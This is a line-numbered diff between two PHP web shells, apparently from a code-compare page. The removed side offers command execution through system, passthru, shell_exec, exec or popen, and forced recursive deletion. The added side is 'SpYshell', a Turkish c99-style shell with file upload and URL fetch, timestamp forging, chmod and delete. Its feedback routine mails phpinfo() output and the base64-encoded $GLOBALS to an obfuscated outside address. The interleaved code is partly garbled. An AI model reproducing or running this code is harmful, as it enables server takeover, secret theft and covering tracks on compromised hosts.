3282 | - | $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : ''); |
3282 | + | if ($act == "update") {$ret = ashsh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} |
3283 | ||
3284 | - | for($i = $from; $i <= $to; $i++) { |
3284 | + | if ($act == "feedback") |
3285 | ||
3286 | - | $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> '; |
3286 | + | { |
3287 | ||
3288 | - | } |
3288 | + | $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); |
3289 | ||
3290 | - | $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : ''); |
3290 | + | if (!empty($submit)) |
3291 | ||
3292 | - | $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : ''; |
3292 | + | { |
3293 | ||
3294 | - | } |
3294 | + | $ticket = substr(md5(microtime()+rand(1,1000)),0,6); |
3295 | ||
3296 | - | return $multipage; |
3296 | + | $body = "SpYshell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; |
3297 | ||
3298 | if (!empty($fdbk_ref)) | |
3299 | ||
3300 | - | // ???? |
3300 | + | { |
3301 | ||
3302 | - | function loginpage() { |
3302 | + | $tmp = @ob_get_contents(); |
3303 | ||
3304 | ob_clean(); | |
3305 | ||
3306 | - | <style type="text/css"> |
3306 | + | phpinfo(); |
3307 | ||
3308 | - | input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;} |
3308 | + | $phpinfo = base64_encode(ob_get_contents()); |
3309 | ||
3310 | - | </style> |
3310 | + | ob_clean(); |
3311 | ||
3312 | - | <form method="POST" action=""> |
3312 | + | echo $tmp; |
3313 | ||
3314 | - | <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20"> |
3314 | + | $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; |
3315 | ||
3316 | - | <input type="hidden" name="action" value="login"> |
3316 | + | } |
3317 | ||
3318 | - | <input type="submit" value="Login"> |
3318 | + | mail($suppmail,"SpYshell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); |
3319 | ||
3320 | - | </form> |
3320 | + | echo "<center><b>Tesekkurler kullanici id: ".$ticket.".</b></center>"; |
3321 | ||
3322 | } | |
3323 | ||
3324 | - | exit; |
3324 | + | else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Geri besleme veya report sorun acar (".str_replace($suppmail)."Admin@spyhackerz.com):<br><br>Adin: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>e-mail Adresin : <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Mesajin :<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Server-bilgiyi ba?la* <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br><br><input type=\"submit\" name=\"submit\" value=\"Gonder\"></form>";} |
3325 | ||
3326 | - | }//end loginpage() |
3326 | + | |
3327 | ||
3328 | if ($act == "search") | |
3329 | ||
3330 | - | function execute($cfe) { |
3330 | + | { |
3331 | ||
3332 | - | $res = ''; |
3332 | + | echo "<b>Sistem Dosyalarinda Ara:</b><br>"; |
3333 | ||
3334 | - | if ($cfe) { |
3334 | + | if (empty($search_in)) {$search_in = $d;} |
3335 | ||
3336 | - | if(function_exists('system')) { |
3336 | + | if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} |
3337 | ||
3338 | - | @ob_start(); |
3338 | + | if (empty($search_text_wwo)) {$search_text_regexp = 0;} |
3339 | ||
3340 | - | @system($cfe); |
3340 | + | if (!empty($submit)) |
3341 | ||
3342 | - | $res = @ob_get_contents(); |
3342 | + | { |
3343 | ||
3344 | - | @ob_end_clean(); |
3344 | + | $found = array(); |
3345 | ||
3346 | - | } elseif(function_exists('passthru')) { |
3346 | + | $found_d = 0; |
3347 | ||
3348 | - | @ob_start(); |
3348 | + | $found_f = 0; |
3349 | ||
3350 | - | @passthru($cfe); |
3350 | + | $search_i_f = 0; |
3351 | ||
3352 | - | $res = @ob_get_contents(); |
3352 | + | $search_i_d = 0; |
3353 | ||
3354 | - | @ob_end_clean(); |
3354 | + | $a = array |
3355 | ||
3356 | - | } elseif(function_exists('shell_exec')) { |
3356 | + | ( |
3357 | ||
3358 | - | $res = @shell_exec($cfe); |
3358 | + | "name"=>$search_name, "name_regexp"=>$search_name_regexp, |
3359 | ||
3360 | - | } elseif(function_exists('exec')) { |
3360 | + | "text"=>$search_text, "text_regexp"=>$search_text_regxp, |
3361 | ||
3362 | - | @exec($cfe,$res); |
3362 | + | "text_wwo"=>$search_text_wwo, |
3363 | ||
3364 | - | $res = join("\n",$res); |
3364 | + | "text_cs"=>$search_text_cs, |
3365 | ||
3366 | - | } elseif(@is_resource($f = @popen($cfe,"r"))) { |
3366 | + | "text_not"=>$search_text_not |
3367 | ||
3368 | - | $res = ''; |
3368 | + | ); |
3369 | ||
3370 | - | while(!@feof($f)) { |
3370 | + | $searchtime = getmicrotime(); |
3371 | ||
3372 | - | $res .= @fread($f,1024); |
3372 | + | $in = array_unique(explode(";",$search_in)); |
3373 | ||
3374 | - | } |
3374 | + | foreach($in as $v) {ashfsearch($v);} |
3375 | ||
3376 | - | @pclose($f); |
3376 | + | $searchtime = round(getmicrotime()-$searchtime,4); |
3377 | ||
3378 | - | } |
3378 | + | if (count($found) == 0) {echo "<b>Dosya Bulunamadi!</b>";} |
3379 | ||
3380 | - | } |
3380 | + | else |
3381 | ||
3382 | - | return $res; |
3382 | + | { |
3383 | ||
3384 | $ls_arr = $found; | |
3385 | ||
3386 | - | function which($pr) { |
3386 | + | $disp_fullpath = true; |
3387 | ||
3388 | - | $path = execute("which $pr"); |
3388 | + | $act = "ls"; |
3389 | ||
3390 | - | return ($path ? $path : $pr); |
3390 | + | } |
3391 | ||
3392 | } | |
3393 | ||
3394 | echo "<form method=POST> | |
3395 | ||
3396 | - | function cf($fname,$text){ |
3396 | + | <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> |
3397 | ||
3398 | - | if($fp=@fopen($fname,'w')) { |
3398 | + | <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp |
3399 | ||
3400 | - | @fputs($fp,@base64_decode($text)); |
3400 | + | <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> |
3401 | ||
3402 | - | @fclose($fp); |
3402 | + | <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> |
3403 | ||
3404 | - | } |
3404 | + | <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp |
3405 | ||
3406 | <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only | |
3407 | ||
3408 | - | function dirsize($dir) { |
3408 | + | <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive |
3409 | ||
3410 | - | $dh = @opendir($dir); |
3410 | + | <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text |
3411 | ||
3412 | - | $size = 0; |
3412 | + | <br><br><input type=submit name=submit value=\"Search\"></form>"; |
3413 | ||
3414 | - | while($file = @readdir($dh)) { |
3414 | + | if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} |
3415 | ||
3416 | - | if ($file != '.' && $file != '..') { |
3416 | + | |
3417 | ||
3418 | - | $path = $dir.'/'.$file; |
3418 | + | if ($act == "chmod") |
3419 | ||
3420 | - | $size += @is_dir($path) ? dirsize($path) : @filesize($path); |
3420 | + | { |
3421 | ||
3422 | - | } |
3422 | + | $mode = fileperms($d.$f); |
3423 | ||
3424 | - | } |
3424 | + | if (!$mode) {echo "<b>Hata Dosya Degismedi:</b> Simdiki Value deigistirilemedi";} |
3425 | ||
3426 | - | @closedir($dh); |
3426 | + | else |
3427 | ||
3428 | - | return $size; |
3428 | + | { |
3429 | ||
3430 | $form = true; | |
3431 | ||
3432 | - | // ?????? |
3432 | + | if ($chmod_submit) |
3433 | ||
3434 | - | function debuginfo() { |
3434 | + | { |
3435 | ||
3436 | - | global $starttime; |
3436 | + | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); |
3437 | ||
3438 | - | $mtime = explode(' ', microtime()); |
3438 | + | if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} |
3439 | ||
3440 | - | $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); |
3440 | + | else {$err = "Can't chmod to ".$octet.".";} |
3441 | ||
3442 | - | echo 'Processed in '.$totaltime.' second(s)'; |
3442 | + | } |
3443 | ||
3444 | if ($form) | |
3445 | ||
3446 | { | |
3447 | ||
3448 | - | //??MYSQL??? |
3448 | + | $perms = parse_perms($mode); |
3449 | ||
3450 | - | function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') { |
3450 | + | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Hata:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Okuma<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Yazma<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">Uygulanamadi!</td><td><b>Grup</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Okuma<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">Uygulanamadi!</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Okuma<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">Uygulanamadi!</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; |
3451 | ||
3452 | - | global $charsetdb; |
3452 | + | } |
3453 | ||
3454 | - | @ini_set('mysql.connect_timeout', 5); |
3454 | + | } |
3455 | ||
3456 | - | if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) { |
3456 | + | |
3457 | ||
3458 | - | p('<h2>Can not connect to MySQL server</h2>'); |
3458 | + | if ($act == "upload") |
3459 | ||
3460 | - | exit; |
3460 | + | { |
3461 | ||
3462 | - | } |
3462 | + | $uploadmess = ""; |
3463 | ||
3464 | - | if($link && $dbname) { |
3464 | + | $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); |
3465 | ||
3466 | - | if (!@mysql_select_db($dbname, $link)) { |
3466 | + | if (empty($uploadpath)) {$uploadpath = $d;} |
3467 | ||
3468 | - | p('<h2>Database selected has error</h2>'); |
3468 | + | elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} |
3469 | ||
3470 | - | exit; |
3470 | + | if (!empty($submit)) |
3471 | ||
3472 | - | } |
3472 | + | { |
3473 | ||
3474 | - | } |
3474 | + | global $HTTP_POST_FILES; |
3475 | ||
3476 | - | if($link && mysql_get_server_info() > '4.1') { |
3476 | + | $uploadfile = $HTTP_POST_FILES["uploadfile"]; |
3477 | ||
3478 | - | if($charset && in_array(strtolower($charset), $charsetdb)) { |
3478 | + | if (!empty($uploadfile["tmp_name"])) |
3479 | ||
3480 | - | q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); |
3480 | + | { |
3481 | ||
3482 | - | } |
3482 | + | if (empty($uploadfilename)) {$destin = $uploadfile["name"];} |
3483 | ||
3484 | - | } |
3484 | + | else {$destin = $userfilename;} |
3485 | ||
3486 | - | return $link; |
3486 | + | if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Hata Yuklenen Dosya ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} |
3487 | ||
3488 | } | |
3489 | ||
3490 | elseif (!empty($uploadurl)) | |
3491 | ||
3492 | - | // ?????? |
3492 | + | { |
3493 | ||
3494 | - | function s_array(&$array) { |
3494 | + | if (!empty($uploadfilename)) {$destin = $uploadfilename;} |
3495 | ||
3496 | - | if (is_array($array)) { |
3496 | + | else |
3497 | ||
3498 | - | foreach ($array as $k => $v) { |
3498 | + | { |
3499 | ||
3500 | - | $array[$k] = s_array($v); |
3500 | + | $destin = explode("/",$destin); |
3501 | ||
3502 | - | } |
3502 | + | $destin = $destin[count($destin)-1]; |
3503 | ||
3504 | - | } else if (is_string($array)) { |
3504 | + | if (empty($destin)) |
3505 | ||
3506 | - | $array = stripslashes($array); |
3506 | + | { |
3507 | ||
3508 | - | } |
3508 | + | $i = 0; |
3509 | ||
3510 | - | return $array; |
3510 | + | $b = ""; |
3511 | ||
3512 | while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} | |
3513 | ||
3514 | } | |
3515 | ||
3516 | - | // ??HTML?? |
3516 | + | if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Yanlis URL! |
3517 | ||
3518 | - | function html_clean($content) { |
3518 | + | </b><br>";} |
3519 | ||
3520 | - | $content = htmlspecialchars($content); |
3520 | + | else |
3521 | ||
3522 | - | $content = str_replace("\n", "<br />", $content); |
3522 | + | { |
3523 | ||
3524 | - | $content = str_replace(" ", " ", $content); |
3524 | + | $st = getmicrotime(); |
3525 | ||
3526 | - | $content = str_replace("\t", " ", $content); |
3526 | + | $content = @file_get_contents($uploadurl); |
3527 | ||
3528 | - | return $content; |
3528 | + | $dt = round(getmicrotime()-$st,4); |
3529 | ||
3530 | if (!$content) {$uploadmess .= "Dosya Indirelemedi!<br>";} | |
3531 | ||
3532 | else | |
3533 | ||
3534 | - | // ???? |
3534 | + | { |
3535 | ||
3536 | - | function getChmod($filepath){ |
3536 | + | if ($filestealth) {$stat = stat($uploadpath.$destin);} |
3537 | ||
3538 | - | return substr(base_convert(@fileperms($filepath),10,8),-4); |
3538 | + | $fp = fopen($uploadpath.$destin,"w"); |
3539 | ||
3540 | if (!$fp) {$uploadmess .= "Hata: Dosyaya Yazilamadi :( ".htmlspecialchars($destin)."!<br>";} | |
3541 | ||
3542 | else | |
3543 | ||
3544 | - | function getPerms($filepath) { |
3544 | + | { |
3545 | ||
3546 | - | $mode = @fileperms($filepath); |
3546 | + | fwrite($fp,$content,strlen($content)); |
3547 | ||
3548 | - | if (($mode & 0xC000) === 0xC000) {$type = 's';} |
3548 | + | fclose($fp); |
3549 | ||
3550 | - | elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} |
3550 | + | if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} |
3551 | ||
3552 | - | elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} |
3552 | + | } |
3553 | ||
3554 | - | elseif (($mode & 0x8000) === 0x8000) {$type = '-';} |
3554 | + | |
3555 | ||
3556 | - | elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} |
3556 | + | } |
3557 | ||
3558 | - | elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} |
3558 | + | } |
3559 | ||
3560 | - | elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} |
3560 | + | } |
3561 | ||
3562 | - | else {$type = '?';} |
3562 | + | if ($miniform) |
3563 | ||
3564 | { | |
3565 | ||
3566 | - | $owner['read'] = ($mode & 00400) ? 'r' : '-'; |
3566 | + | echo "<b>".$uploadmess."</b>"; |
3567 | ||
3568 | - | $owner['write'] = ($mode & 00200) ? 'w' : '-'; |
3568 | + | $act = "ls"; |
3569 | ||
3570 | - | $owner['execute'] = ($mode & 00100) ? 'x' : '-'; |
3570 | + | } |
3571 | ||
3572 | - | $group['read'] = ($mode & 00040) ? 'r' : '-'; |
3572 | + | else |
3573 | ||
3574 | - | $group['write'] = ($mode & 00020) ? 'w' : '-'; |
3574 | + | { |
3575 | ||
3576 | - | $group['execute'] = ($mode & 00010) ? 'x' : '-'; |
3576 | + | echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> |
3577 | ||
3578 | - | $world['read'] = ($mode & 00004) ? 'r' : '-'; |
3578 | + | Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br> or<br> |
3579 | ||
3580 | - | $world['write'] = ($mode & 00002) ? 'w' : '-'; |
3580 | + | Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> |
3581 | ||
3582 | - | $world['execute'] = ($mode & 00001) ? 'x' : '-'; |
3582 | + | Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> |
3583 | ||
3584 | File-name (auto-fill): <input name=uploadfilename size=25><br><br> | |
3585 | ||
3586 | - | if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} |
3586 | + | <input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br> |
3587 | ||
3588 | - | if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} |
3588 | + | <input type=submit name=submit value=\"Upload(Yukle)\"> |
3589 | ||
3590 | - | if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} |
3590 | + | </form>"; |
3591 | ||
3592 | } | |
3593 | ||
3594 | - | return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; |
3594 | + | |
3595 | ||
3596 | if ($act == "delete") | |
3597 | ||
3598 | { | |
3599 | ||
3600 | - | function getUser($filepath) { |
3600 | + | $delerr = ""; |
3601 | ||
3602 | - | if (function_exists('posix_getpwuid')) { |
3602 | + | foreach ($actbox as $v) |
3603 | ||
3604 | - | $array = @posix_getpwuid(@fileowner($filepath)); |
3604 | + | { |
3605 | ||
3606 | - | if ($array && is_array($array)) { |
3606 | + | $result = false; |
3607 | ||
3608 | - | return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>'; |
3608 | + | $result = fs_rmobj($v); |
3609 | ||
3610 | - | } |
3610 | + | if (!$result) {$delerr .= "Silinemedi! ".htmlspecialchars($v)."<br>";} |
3611 | ||
3612 | - | } |
3612 | + | } |
3613 | ||
3614 | - | return ''; |
3614 | + | if (!empty($delerr)) {echo "<b>Hatalari Sil(s):</b><br>".$delerr;} |
3615 | ||
3616 | $act = "ls"; | |
3617 | ||
3618 | } | |
3619 | ||
3620 | - | // ???? |
3620 | + | if (!$usefsbuff) |
3621 | ||
3622 | - | function deltree($deldir) { |
3622 | + | { |
3623 | ||
3624 | - | $mydir=@dir($deldir); |
3624 | + | if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Tampon Kapali olduhu icin Yoll!!! \"\$useFSbuff\" Dogru ;)</center>";} |
3625 | ||
3626 | - | while($file=$mydir->read()) { |
3626 | + | |
3627 | ||
3628 | - | if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { |
3628 | + | else |
3629 | ||
3630 | - | @chmod($deldir.'/'.$file,0777); |
3630 | + | { |
3631 | ||
3632 | - | deltree($deldir.'/'.$file); |
3632 | + | if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ash_sess_put($sess_data); $act = "ls"; } |
3633 | ||
3634 | - | } |
3634 | + | elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ash_sess_put($sess_data); $act = "ls";} |
3635 | ||
3636 | - | if (is_file($deldir.'/'.$file)) { |
3636 | + | elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ash_sess_put($sess_data); $act = "ls";} |
3637 | ||
3638 | - | @chmod($deldir.'/'.$file,0777); |
3638 | + | if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ash_sess_put($sess_data);} |
3639 | ||
3640 | - | @unlink($deldir.'/'.$file); |
3640 | + | elseif ($actpastebuff) |
3641 | ||
3642 | - | } |
3642 | + | { |
3643 | ||
3644 | - | } |
3644 | + | $psterr = ""; |
3645 | ||
3646 | - | $mydir->close(); |
3646 | + | foreach($sess_data["copy"] as $k=>$v) |
3647 | ||
3648 | - | @chmod($deldir,0777); |
3648 | + | { |
3649 | ||
3650 | - | return @rmdir($deldir) ? 1 : 0; |
3650 | + | $to = $d.basename($v); |
3651 | ||
3652 | if (!fs_copy_obj($v,$to)) {$psterr .= "Kopyalanamadi!! ".$v." to ".$to."!<br>";} | |
3653 | ||
3654 | if ($copy_unset) {unset($sess_data["copy"][$k]);} | |
3655 | ||
3656 | - | // ?????????? |
3656 | + | } |
3657 | ||
3658 | - | function bg() { |
3658 | + | foreach($sess_data["cut"] as $k=>$v) |
3659 | ||
3660 | - | global $bgc; |
3660 | + | { |
3661 | ||
3662 | - | return ($bgc++%2==0) ? 'alt1' : 'alt2'; |
3662 | + | $to = $d.basename($v); |
3663 | ||
3664 | if (!fs_move_obj($v,$to)) {$psterr .= "Yapistirilamadi!! ".$v." to ".$to."!<br>";} | |
3665 | ||
3666 | unset($sess_data["cut"][$k]); | |
3667 | ||
3668 | - | // ??????????? |
3668 | + | } |
3669 | ||
3670 | - | function getPath($scriptpath, $nowpath) { |
3670 | + | ash_sess_put($sess_data); |
3671 | ||
3672 | - | if ($nowpath == '.') { |
3672 | + | if (!empty($psterr)) {echo "<b>Yapistirma Hatasi (S):</b><br>".$psterr;} |
3673 | ||
3674 | - | $nowpath = $scriptpath; |
3674 | + | $act = "ls"; |
3675 | ||
3676 | - | } |
3676 | + | } |
3677 | ||
3678 | - | $nowpath = str_replace('\\', '/', $nowpath); |
3678 | + | elseif ($actarcbuff) |
3679 | ||
3680 | - | $nowpath = str_replace('//', '/', $nowpath); |
3680 | + | { |
3681 | ||
3682 | - | if (substr($nowpath, -1) != '/') { |
3682 | + | $arcerr = ""; |
3683 | ||
3684 | - | $nowpath = $nowpath.'/'; |
3684 | + | if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} |
3685 | ||
3686 | - | } |
3686 | + | else {$ext = ".tar.gz";} |
3687 | ||
3688 | - | return $nowpath; |
3688 | + | if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} |
3689 | ||
3690 | $cmdline .= " ".$actarcbuff_path; | |
3691 | ||
3692 | $objects = array_merge($sess_data["copy"],$sess_data["cut"]); | |
3693 | ||
3694 | - | // ??????????? |
3694 | + | foreach($objects as $v) |
3695 | ||
3696 | - | function getUpPath($nowpath) { |
3696 | + | { |
3697 | ||
3698 | - | $pathdb = explode('/', $nowpath); |
3698 | + | $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); |
3699 | ||
3700 | - | $num = count($pathdb); |
3700 | + | if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} |
3701 | ||
3702 | - | if ($num > 2) { |
3702 | + | if (is_dir($v)) |
3703 | ||
3704 | - | unset($pathdb[$num-1],$pathdb[$num-2]); |
3704 | + | { |
3705 | ||
3706 | - | } |
3706 | + | if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} |
3707 | ||
3708 | - | $uppath = implode('/', $pathdb).'/'; |
3708 | + | $v .= "*"; |
3709 | ||
3710 | - | $uppath = str_replace('//', '/', $uppath); |
3710 | + | } |
3711 | ||
3712 | - | return $uppath; |
3712 | + | $cmdline .= " ".$v; |
3713 | ||
3714 | } | |
3715 | ||
3716 | $tmp = realpath("."); | |
3717 | ||
3718 | - | // ??PHP???? |
3718 | + | chdir($d); |
3719 | ||
3720 | - | function getcfg($varname) { |
3720 | + | $ret = myshellexec($cmdline); |
3721 | ||
3722 | - | $result = get_cfg_var($varname); |
3722 | + | chdir($tmp); |
3723 | ||
3724 | - | if ($result == 0) { |
3724 | + | if (empty($ret)) {$arcerr .= "Arsiv Aranamiyor (Hata:3)beta By KingDefacer (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} |
3725 | ||
3726 | - | return 'No'; |
3726 | + | $ret = str_replace("\r\n","\n",$ret); |
3727 | ||
3728 | - | } elseif ($result == 1) { |
3728 | + | $ret = explode("\n",$ret); |
3729 | ||
3730 | - | return 'Yes'; |
3730 | + | if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} |
3731 | ||
3732 | - | } else { |
3732 | + | foreach($sess_data["cut"] as $k=>$v) |
3733 | ||
3734 | - | return $result; |
3734 | + | { |
3735 | ||
3736 | - | } |
3736 | + | if (in_array($v,$ret)) {fs_rmobj($v);} |
3737 | ||
3738 | unset($sess_data["cut"][$k]); | |
3739 | ||
3740 | } | |
3741 | ||
3742 | - | // ?????? |
3742 | + | ash_sess_put($sess_data); |
3743 | ||
3744 | - | function getfun($funName) { |
3744 | + | if (!empty($arcerr)) {echo "<b>Arsivator Hatasi:</b><br>".$arcerr;} |
3745 | ||
3746 | - | return (false !== function_exists($funName)) ? 'Yes' : 'No'; |
3746 | + | $act = "ls"; |
3747 | ||
3748 | } | |
3749 | ||
3750 | elseif ($actpastebuff) | |
3751 | ||
3752 | - | // ??????? |
3752 | + | { |
3753 | ||
3754 | - | function getext($file) { |
3754 | + | $psterr = ""; |
3755 | ||
3756 | - | $info = pathinfo($file); |
3756 | + | foreach($sess_data["copy"] as $k=>$v) |
3757 | ||
3758 | - | return $info['extension']; |
3758 | + | { |
3759 | ||
3760 | $to = $d.basename($v); | |
3761 | ||
3762 | if (!fs_copy_obj($v,$d)) {$psterr .= "Kopyalanamadi!! ".$v." to ".$to."!<br>";} | |
3763 | ||
3764 | - | function GetWDirList($dir){ |
3764 | + | if ($copy_unset) {unset($sess_data["copy"][$k]);} |
3765 | ||
3766 | - | global $dirdata,$j,$nowpath; |
3766 | + | } |
3767 | ||
3768 | - | !$j && $j=1; |
3768 | + | foreach($sess_data["cut"] as $k=>$v) |
3769 | ||
3770 | - | if ($dh = opendir($dir)) { |
3770 | + | { |
3771 | ||
3772 | - | while ($file = readdir($dh)) { |
3772 | + | $to = $d.basename($v); |
3773 | ||
3774 | - | $f=str_replace('//','/',$dir.'/'.$file); |
3774 | + | if (!fs_move_obj($v,$d)) {$psterr .= "Yapistirilamadi! ".$v." to ".$to."!<br>";} |
3775 | ||
3776 | - | if($file!='.' && $file!='..' && is_dir($f)){ |
3776 | + | unset($sess_data["cut"][$k]); |
3777 | ||
3778 | - | if (is_writable($f)) { |
3778 | + | } |
3779 | ||
3780 | - | $dirdata[$j]['filename']=str_replace($nowpath,'',$f); |
3780 | + | ash_sess_put($sess_data); |
3781 | ||
3782 | - | $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); |
3782 | + | if (!empty($psterr)) {echo "<b>Yapistirma Hatasi:</b><br>".$psterr;} |
3783 | ||
3784 | - | $dirdata[$j]['dirchmod']=getChmod($f); |
